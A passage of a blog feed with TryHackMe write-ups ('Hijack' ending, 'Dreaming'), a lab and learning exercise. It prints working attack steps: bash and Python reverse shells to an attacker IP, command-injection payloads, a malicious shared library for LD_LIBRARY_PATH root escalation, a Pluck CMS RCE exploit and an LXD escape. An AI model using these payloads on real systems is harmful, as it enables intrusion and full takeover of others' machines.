000000082:   200        42 L     66 W       864 Ch      [REDACTED]                                               


</code></pre></div></div>

<p>Copy that payload and put it as <code class="language-plaintext highlighter-rouge">PHPSESSIONID</code> cookie - then visit <code class="language-plaintext highlighter-rouge">administration.php</code> - and we have it</p>

<p>We’ve successfully hijacked session</p>

<p>Now, we have input that checks state of services - luckily it doesn’t check <code class="language-plaintext highlighter-rouge">&amp;</code> symbol, so we can inject commands like <code class="language-plaintext highlighter-rouge">id</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div></div>

<p>Or a reverse shell - set up netcat listener</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 2137 
</code></pre></div></div>

<p>And use this payload</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&amp; /bin/bash -c 'bash -i 1&gt;&amp; /dev/tcp/[YOUR IP]/2137 0&gt;&amp;1'
</code></pre></div></div>

<p>Then, after we get the shell - upgrade it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 -c 'import pty;pty.spawn("/bin/bash");'
</code></pre></div></div>

<p>I’ve found one interesting thing is <code class="language-plaintext highlighter-rouge">config.php</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat config.php
cat config.php
&lt;?php
$servername = "localhost";
$username = "rick";
$password = "[REDACTED]";
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli-&gt;connect_error) {
  die("Connection failed: " . $mysqli-&gt;connect_error);
}
?&gt;
</code></pre></div></div>

<p>Didn’t we have user <code class="language-plaintext highlighter-rouge">rick</code>? Let’s try to ssh to him</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ssh rick@$IP

[...]
$
</code></pre></div></div>

<p>It works - get user flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat user.txt
[REDACTED]
</code></pre></div></div>

<p>And as always - last part</p>

<h4 id="privilege-escalation">Privilege Escalation</h4>

<p>Check what can we run as <code class="language-plaintext highlighter-rouge">root</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo -l
[sudo] password for rick: 
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

</code></pre></div></div>

<p>One odd thing is this line</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>env_keep+=LD_LIBRARY_PATH
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code> is a list of directories where script searches for shared libraries - so start with printing apache’s shared libraries</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =&gt;  (0x00007ffd7cb32000)
        libpcre.so.3 =&gt; /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fe1c7227000)
        libaprutil-1.so.0 =&gt; /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0 (0x00007fe1c7000000)
        libapr-1.so.0 =&gt; /usr/lib/x86_64-linux-gnu/libapr-1.so.0 (0x00007fe1c6dce000)
        libpthread.so.0 =&gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe1c6bb1000)
        libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe1c67e7000)
        libcrypt.so.1 =&gt; /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fe1c65af000)
        libexpat.so.1 =&gt; /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007fe1c6386000)
        libuuid.so.1 =&gt; /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007fe1c6181000)
        libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe1c5f7d000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe1c773c000)

</code></pre></div></div>

<p>Okay, our target will be <code class="language-plaintext highlighter-rouge">libcrypt.so.1</code> file - in <code class="language-plaintext highlighter-rouge">/tmp</code> create a new file called however you want - Mine is <code class="language-plaintext highlighter-rouge">malware.c</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ touch malware.c
$ nano malware.c
</code></pre></div></div>

<p>Then, let’s enter malicious script here - I got it from <a href="https://atom.hackstreetboys.ph/linux-privilege-escalation-environment-variables/">this blog</a></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">hijack</span><span class="p">()</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">));</span>

<span class="kt">void</span> <span class="nf">hijack</span><span class="p">()</span> <span class="p">{</span>
        <span class="n">unsetenv</span><span class="p">(</span><span class="s">"LD_LIBRARY_PATH"</span><span class="p">);</span>
        <span class="n">setresuid</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/bin/bash -p"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then, compile it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/rick/malware.c
</code></pre></div></div>

<p>And lastly - execute that specific command from <code class="language-plaintext highlighter-rouge">sudo -l</code> results with changing <code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code> to <code class="language-plaintext highlighter-rouge">/tmp</code></p>

<p>So like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

# whoami
root
</code></pre></div></div>

<p>Now, we can get root flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cat /root/root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

[REDACTED]

</code></pre></div></div>

<p>There is our last flag</p>

<p>And that’s it - machine pwned</p>

<h2 id="conclusion">Conclusion</h2>

<p>I loved this room, really. I’ve learned a lot</p>

<p>So, I’ve learned a new PrivEsc technique, session hijacking and a new way to abuse <code class="language-plaintext highlighter-rouge">nfs</code></p>

<p>That’s it - see you in the next writeups</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[This challange is offensive one and based of hijacking from TryHackMe]]></summary></entry><entry><title type="html">Dreaming writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2023/11/20/dreaming_writeup.html" rel="alternate" type="text/html" title="Dreaming writeup (TryHackMe)" /><published>2023-11-20T00:00:00+00:00</published><updated>2023-11-20T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2023/11/20/dreaming_writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2023/11/20/dreaming_writeup.html"><![CDATA[<p>This is a fresh machine (while writing it was made today, I solved it 2 days after release, and I updated it 3 days after release)</p>

<!-- more -->

<h3 id="enumaration">Enumaration</h3>
<p>First thing we should do is nmap scan</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV -oN scan.txt $IP
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-17 21:24 CET
Nmap scan report for 10.10.241.63
Host is up (0.059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|   256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.82 seconds
</code></pre></div></div>

<p>There are only 2 services - there must be something on Apache</p>

<p>First thing we see is default apache page - maybe something is hidden</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://$IP/  -x php,html,txt,js  
[...]
/app                  (Status: 301) [Size: 310] [--&gt; http://10.10.241.63/app/]
/index.html           (Status: 200) [Size: 10918]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 277]
Progress: 23075 / 23080 (99.98%)

</code></pre></div></div>

<p>The most important part must be hidden in <code class="language-plaintext highlighter-rouge">app</code>. Inside is another dir called <code class="language-plaintext highlighter-rouge">pluck-4.7.13</code></p>

<p>This must be the name of service and it’s verion - by the way</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ searchsploit pluck       
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
[...]
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)              | php/webapps/49909.py
Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)                    | php/webapps/50826.py
Pluck CMS 4.7.3 - Cross-Site Request Forgery (Add Page)                           | php/webapps/40566.py
Pluck CMS 4.7.3 - Multiple Vulnerabilities                                        | php/webapps/38002.txt
Pluck v4.7.18 - Remote Code Execution (RCE)                                       | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS)                                 | php/webapps/51420.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
</code></pre></div></div>

<p>We have a vulnerability -  RCE and Arbitrary File Upload. But authenticated so we will have to find a way to log in</p>

<p>Actually with a simple brute force I guessed the password - it’s <code class="language-plaintext highlighter-rouge">password</code></p>

<p>Now we can utilize our exploit - copy it to our working directory</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ searchsploit -m 49909 
</code></pre></div></div>

<p>After we analyze the code we see it takes 4 parameters</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
</code></pre></div></div>

<p>So our command looks like this</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 49909.py $IP 80 "password" "/app/pluck-4.7.13"
</code></pre></div></div>

<p>After we visit a link on the website we get a beatiful shell - I like it tbh</p>

<h3 id="escalation-pt1---lucien">Escalation pt.1 - lucien</h3>

<p>In <code class="language-plaintext highlighter-rouge">/opt</code> we have a file called <code class="language-plaintext highlighter-rouge">test.py</code></p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">requests</span>

<span class="c1">#Todo add myself as a user
</span><span class="n">url</span> <span class="o">=</span> <span class="s">"http://127.0.0.1/app/pluck-4.7.13/login.php"</span>
<span class="n">password</span> <span class="o">=</span> <span class="s">"[REDACTED]"</span>

<span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"cont1"</span><span class="p">:</span><span class="n">password</span><span class="p">,</span>
        <span class="s">"bogus"</span><span class="p">:</span><span class="s">""</span><span class="p">,</span>
        <span class="s">"submit"</span><span class="p">:</span><span class="s">"Log+in"</span>
        <span class="p">}</span>

<span class="n">req</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

<span class="k">if</span> <span class="s">"Password correct."</span> <span class="ow">in</span> <span class="n">req</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Everything is in proper order. Status Code: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">req</span><span class="p">.</span><span class="n">status_code</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Something is wrong. Status Code: "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">req</span><span class="p">.</span><span class="n">status_code</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Results:</span><span class="se">\n</span><span class="s">"</span> <span class="o">+</span> <span class="n">req</span><span class="p">.</span><span class="n">text</span><span class="p">)</span></code></pre></figure>

<p>It contains a password? Maybe <code class="language-plaintext highlighter-rouge">lucien</code> reuses his/her passwords?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>su lucien
Password: [REDACTED]
lucien@dreaming:/opt$ 
</code></pre></div></div>

<p>Boom! - it worked.</p>

<p>Let’s go to home dir and get first flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ~
$ cat lucien_flag.txt
[REDACTED]
</code></pre></div></div>

<p>We have the first flag - now 2 are left</p>

<h3 id="escalation-pt2---death">Escalation pt.2 - Death</h3>

<p>Maybe we can run somthing as other user?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

</code></pre></div></div>

<p>That’s it -  we can execute <code class="language-plaintext highlighter-rouge">getDreams.py</code> as <code class="language-plaintext highlighter-rouge">death</code>. Sadly we can’t read it, but wait</p>

<p>Check <code class="language-plaintext highlighter-rouge">/opt</code> dir again</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -la
total 16
drwxr-xr-x  2 root   root   4096 Aug 15 12:45 .
drwxr-xr-x 20 root   root   4096 Jul 28 22:35 ..
-rwxrw-r--  1 death  death  1574 Aug 15 12:45 getDreams.py
-rwxr-xr-x  1 lucien lucien  483 Aug  7 23:36 test.py
</code></pre></div></div>

<p>We also have <code class="language-plaintext highlighter-rouge">getDreams.py</code> here, but readable - let’s see it’s content</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">mysql.connector</span>
<span class="kn">import</span> <span class="nn">subprocess</span>

<span class="c1"># MySQL credentials
</span><span class="n">DB_USER</span> <span class="o">=</span> <span class="s">"death"</span>
<span class="n">DB_PASS</span> <span class="o">=</span> <span class="s">"#redacted"</span>
<span class="n">DB_NAME</span> <span class="o">=</span> <span class="s">"library"</span>

<span class="kn">import</span> <span class="nn">mysql.connector</span>
<span class="kn">import</span> <span class="nn">subprocess</span>

<span class="k">def</span> <span class="nf">getDreams</span><span class="p">():</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="c1"># Connect to the MySQL database
</span>        <span class="n">connection</span> <span class="o">=</span> <span class="n">mysql</span><span class="p">.</span><span class="n">connector</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span>
            <span class="n">host</span><span class="o">=</span><span class="s">"localhost"</span><span class="p">,</span>
            <span class="n">user</span><span class="o">=</span><span class="n">DB_USER</span><span class="p">,</span>
            <span class="n">password</span><span class="o">=</span><span class="n">DB_PASS</span><span class="p">,</span>
            <span class="n">database</span><span class="o">=</span><span class="n">DB_NAME</span>
        <span class="p">)</span>

        <span class="c1"># Create a cursor object to execute SQL queries
</span>        <span class="n">cursor</span> <span class="o">=</span> <span class="n">connection</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>

        <span class="c1"># Construct the MySQL query to fetch dreamer and dream columns from dreams table
</span>        <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT dreamer, dream FROM dreams;"</span>

        <span class="c1"># Execute the query
</span>        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>

        <span class="c1"># Fetch all the dreamer and dream information
</span>        <span class="n">dreams_info</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()</span>

        <span class="k">if</span> <span class="ow">not</span> <span class="n">dreams_info</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"No dreams found in the database."</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># Loop through the results and echo the information using subprocess
</span>            <span class="k">for</span> <span class="n">dream_info</span> <span class="ow">in</span> <span class="n">dreams_info</span><span class="p">:</span>
                <span class="n">dreamer</span><span class="p">,</span> <span class="n">dream</span> <span class="o">=</span> <span class="n">dream_info</span>
                <span class="n">command</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"echo </span><span class="si">{</span><span class="n">dreamer</span><span class="si">}</span><span class="s"> + </span><span class="si">{</span><span class="n">dream</span><span class="si">}</span><span class="s">"</span>
                <span class="n">shell</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">check_output</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="n">shell</span><span class="p">)</span>

    <span class="k">except</span> <span class="n">mysql</span><span class="p">.</span><span class="n">connector</span><span class="p">.</span><span class="n">Error</span> <span class="k">as</span> <span class="n">error</span><span class="p">:</span>
        <span class="c1"># Handle any errors that might occur during the database connection or query execution
</span>        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error: </span><span class="si">{</span><span class="n">error</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">finally</span><span class="p">:</span>
        <span class="c1"># Close the cursor and connection
</span>        <span class="n">cursor</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
        <span class="n">connection</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="c1"># Call the function to echo the dreamer and dream information
</span><span class="n">getDreams</span><span class="p">()</span></code></pre></figure>

<p>My first idea is to hijack either <code class="language-plaintext highlighter-rouge">subprocess</code> or <code class="language-plaintext highlighter-rouge">mysql.connector</code> module - but I can’t find any way to do this, so let’s try with <code class="language-plaintext highlighter-rouge">mysql</code></p>

<p>Our <code class="language-plaintext highlighter-rouge">.bash_history</code> has something interesting in it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat .bash_history
[...]
clear
ls
mysql -u lucien -p[REDACTED]
ls -la
cat .bash_history 
cat .mysql_history 
</code></pre></div></div>

<p>In bash history we’ve found a password!</p>

<p>Let’s log in now</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mysql -u lucien -p
Enter password: [REDACTED]
[...]

mysql&gt; 
</code></pre></div></div>

<p>We got it - use <code class="language-plaintext highlighter-rouge">library</code></p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="o">&gt;</span> <span class="n">use</span> <span class="n">library</span><span class="p">;</span></code></pre></figure>

<p>If we edit something in this database we will get it printed - we can use this for <code class="language-plaintext highlighter-rouge">command injection</code> attack</p>

<p>Let’s check it first - run this SQL query</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">INSERT</span> <span class="k">INTO</span> <span class="nv">`dreams`</span> <span class="k">VALUES</span><span class="p">(</span><span class="nv">"hacker"</span><span class="p">,</span> <span class="nv">"yes | ls -la"</span><span class="p">);</span></code></pre></figure>

<p>Then after we execute that code we get</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

total 44
drwxr-xr-x 5 lucien lucien 4096 Nov 17 23:08 .
drwxr-xr-x 5 root   root   4096 Jul 28 22:26 ..
-rw------- 1 lucien lucien  684 Aug 25 16:27 .bash_history
-rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
drwx------ 3 lucien lucien 4096 Jul 28 18:42 .cache
drwxrwxr-x 4 lucien lucien 4096 Jul 28 18:42 .local
-rw-rw---- 1 lucien lucien   19 Jul 28 16:27 lucien_flag.txt
-rw------- 1 lucien lucien 3065 Nov 17 23:08 .mysql_history
-rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
drwx------ 2 lucien lucien 4096 Jul 28 14:25 .ssh
-rw-r--r-- 1 lucien lucien    0 Jul 28 14:28 .sudo_as_admin_successful

</code></pre></div></div>

<p>That’s what we wanted - update that but with reverse shell</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UPDATE</span> <span class="n">dreams</span> <span class="k">SET</span> <span class="nv">`dream`</span> <span class="o">=</span> <span class="nv">"yes | /bin/bash -c 'bash -i 1&gt;&amp; /dev/tcp/[Your IP]/2137 0&gt;&amp;1'"</span> <span class="k">WHERE</span> <span class="n">dreamer</span> <span class="o">=</span> <span class="nv">"hacker"</span><span class="p">;</span></code></pre></figure>

<p>Set up a netcat listener in another tab and run that code</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># on Kali/Parrot or any other machine u use
$ nc -lvnp 2137

# on attacked machine
sudo -u death /usr/bin/python3 /home/death/getDreams.py
</code></pre></div></div>

<p>Then in another tab we get the shell -&gt; upgrade it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 -c 'import pty; pty.spawn("/bin/bash");
</code></pre></div></div>

<p>We can get the flag now</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ~
$ cat death_flag.txt
cat death_flag.txt
[REDACTED]
</code></pre></div></div>

<p>Second flag is here - now last one</p>

<p><code class="language-plaintext highlighter-rouge">Death</code>’s password can be found it in <code class="language-plaintext highlighter-rouge">getDreams.py</code></p>

<h3 id="escalation-pt3---morpheus-intended-path">Escalation pt.3 - Morpheus, intended path</h3>

<p>Get to morpheus’ home dir and list it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd /home/morpheus
$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7 23:48 .
drwxr-xr-x 5 root     root     4096 Jul 28 22:26 ..
-rw------- 1 morpheus morpheus   58 Aug 14 18:16 .bash_history
-rw-r--r-- 1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28 22:37 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 22:30 .local
-rw-rw---- 1 morpheus morpheus   28 Jul 28 22:29 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7 23:48 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28 22:33 .selected_editor

</code></pre></div></div>

<p>There is a file called <code class="language-plaintext highlighter-rouge">restore.py</code> - let’s check it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

</code></pre></div></div>

<p>There is one interesting thing - <code class="language-plaintext highlighter-rouge">shutil</code>. Maybe we can do something with it. Let’s search for it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ find / -name shutil*  2&gt;&gt;/dev/null
/usr/lib/python3.8/shutil.py
/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/usr/lib/byobu/include/shutil
[...]
$ ls -l /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Aug  7 23:52 /usr/lib/python3.8/shutil.py
</code></pre></div></div>

<p>Wait, we can read and write to it - Let’s put reverse shell here</p>

<p>But first - start netcat listener on your machine</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 2137
</code></pre></div></div>

<p>Then, we need to open this file in some editor and replace it’s content with reverse shell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nano /usr/lib/python3.8/shutil.py

# And inside:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR IP",2137));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
</code></pre></div></div>

<p>Of course relpace <code class="language-plaintext highlighter-rouge">YOUR IP</code> with your actual ip from tryhackme VPN</p>

<p>Then we can save and exit it</p>

<p>After a while we  get shell - who are we?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ whoami
morpheus
</code></pre></div></div>

<p>We are in his <code class="language-plaintext highlighter-rouge">home</code> dir (You can check it with <code class="language-plaintext highlighter-rouge">pwd</code>) - let’s grab the flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat morpheus_flag.txt
[REDACTED]
</code></pre></div></div>

<p>And that’s it, machine pwned - if you want to read about patched unintended path of privesc - Sure go ahead. You might learn something</p>

<h3 id="escalation-pt3---morpheus-the-unintended-path">Escalation pt.3 - Morpheus the unintended path</h3>

<p>Note: This is unintended path and has been patched (It worked for 2 days)
But I leave it here as relict and for you to learn another privesc technique</p>

<p>It doesn’t work, because <code class="language-plaintext highlighter-rouge">lucien</code> is not the part of <code class="language-plaintext highlighter-rouge">lxd</code> group</p>

<p>To escalate to morpheus I went back to <code class="language-plaintext highlighter-rouge">lucien</code> user</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ su lucien
</code></pre></div></div>
<p>He is a part of <code class="language-plaintext highlighter-rouge">lxd</code> group - we can use lxd to <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation#method-2">Escalate Privileges</a></p>

<p>I used method linked above</p>

<p>So, first on our machine (kali/parrot/attackbox) we clone <code class="language-plaintext highlighter-rouge">lxd-alpine-builder</code> and go into that directory</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
</code></pre></div></div>

<p>Then, build the image</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
$ sudo ./build-alpine -a i686
</code></pre></div></div>

<p>We need to move it to attacked machine - I use python web server</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd ../
$ python3 -m http.server 8000
</code></pre></div></div>

<p>Then, on attacked machine go to home dir and clone whole content of <code class="language-plaintext highlighter-rouge">lxd-alpine-builder</code> directory from attacking machine</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ wget -m http://[Your THM IP]:8000/lxd-alpine-builder
</code></pre></div></div>

<p>Go into directory signed with your ip and then to <code class="language-plaintext highlighter-rouge">lxd-alpine-builder</code> and import image</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ lxc image import ./alpine*.tar.gz --alias myimage
</code></pre></div></div>

<p>Initialize <code class="language-plaintext highlighter-rouge">lxd</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ lxd init
</code></pre></div></div>

<p>And create container from image with <code class="language-plaintext highlighter-rouge">security.privileged</code> option</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ lxc init myimage mycontainer -c security.privileged=true
</code></pre></div></div>

<p>Then, mount <code class="language-plaintext highlighter-rouge">/</code> dir of attacked machine into <code class="language-plaintext highlighter-rouge">lxd</code> container</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
</code></pre></div></div>

